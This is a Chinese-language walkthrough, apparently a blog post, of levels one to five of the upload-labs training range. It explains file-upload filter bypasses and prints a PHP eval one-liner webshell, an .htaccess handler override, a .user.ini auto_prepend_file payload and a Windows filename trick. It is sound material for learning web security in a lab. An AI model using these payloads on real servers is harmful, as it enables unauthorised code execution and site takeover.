upload-labs(第一关到第五关)

前言:

今天我们来学习文件上传及下载,学习靶场为upload-labs

正文:

第一关

上传个kun12343.php,发现提示:
在这里插入图片描述
发现浏览器都没刷新,判断应该是前端js过滤。

查看源代码:
在这里插入图片描述

名字叫upload_file,查看页面源代码,发现函数checkFile
在这里插入图片描述

搜索checkFile发现

在这里插入图片描述

把这个onsubmit给删了,再次上传php文件,上传成功

在这里插入图片描述
成功通过。

第二关

我们选择kun12343.php,进行抓包得到

在这里插入图片描述

先把Content-Type改一下,改成image/png,点击发送。发现成功上传。
在这里插入图片描述

第三关(黑名单绕过)

我们选择kun12343.php,进行抓包得到
在这里插入图片描述

先把Content-Type改一下,改成image/png,点击发送。发现不行,这里做了黑名单限制,

在这里插入图片描述

将名字改成php3或者php5,发现上传成功了。
在这里插入图片描述

第四关(.htaccess 上传)

我们选择kun12343.php,进行抓包,先把Content-Type改一下,改成image/png,将名字改成php5发现也不行。
在这里插入图片描述

分析源码:发现写了好多黑名单

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们尝试.htaccess 上传,首先上传一个一句话木马,以jpg结尾,
在这里插入图片描述

将下面代码取名为.htaccess,保存,上传,这段代码的意思是,将所以格式的文件都以php文件解析。

<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

上传成功后,我们访问一下我们的kun12343.jpg。
在这里插入图片描述

可以看到当成php文件执行了,使用蚁剑连接一下,成功利用

在这里插入图片描述

另外一种方法就是利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

    双引号 " = 点号.
    大于符号 > = 问号?
    小于符号 < = 星号*

注意,在windows直接修改文件名称,肯定是不让你加冒号的,所以我们先以图片的格式上传,然后抓包,修改文件名称,加上冒号,上传一个名为 kun12343.php:.jpg 的文件。
在这里插入图片描述

上传上去之后的效果,由于文件名称不允许出现冒号,所有windows就将冒号和后面的字符都去掉了,就剩下kun12343.php了,但是有个点就是,文件为0kb
在这里插入图片描述

然后将文件名改为 kun12343.< 或kun12343.<<< 或kun12343.>>> 或kun12343.>>< 后再次上传,重写 kun12343.php 文件内容,Webshell代码就会写入原来kun12343.php 空文件中。

在这里插入图片描述
在这里插入图片描述

第五关(.user.ini 上传)

.user.ini
    作用:特定于用户或特定目录的配置文件,通常位于·Web·应用程序的根目录下。
    它用于覆盖或追加全局配置文件(如·php.ini)中的PHP·配置选项。
    作用范围:存放该文件的目录以及其子目录
    优先级:较高,可以覆盖 php.ini
    生效方式:立即生效
php.ini
    作用:存储了对整个 PHP 环境生效的配置选项。它通常位于·PHP·安装目录中心
    作用范围:所有运行在该 PHP 环境中的 PHP 请求
    优先级:较低
    生效方式:重启 php或web服务器

.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置

使用条件:
    (1)服务器脚本语言为PHP
    (2)对应目录下面有可执行的php文件
    (3)服务器使用CGI/FastCGI模式

优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

auto_prepend_file/auto_append_file

这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell

.user.ini
	auto_prepend_file=kun12343.jpg

.user.ini文件里的意思是:所有的php文件都自动包含kun12343.jpg文件。.user.ini相当于一个用户自定义的php.ini

步骤:

先上传.user.ini文件 再上传含有后门代码的kun12343.jpg文件 根据提示:上传目录存在php文件(readme.php)

所以readme.php会自动包含kun12343.jpg里面的代码

kun12343.jpg里面的一句话木马

<?php @eval($_POST['kun12343']); ?>

这时候访问readme.php会导致kun12343.jpg里面的木马被执行。

注意:phpstudy的版本要切换成更高版本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我能突破限制.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值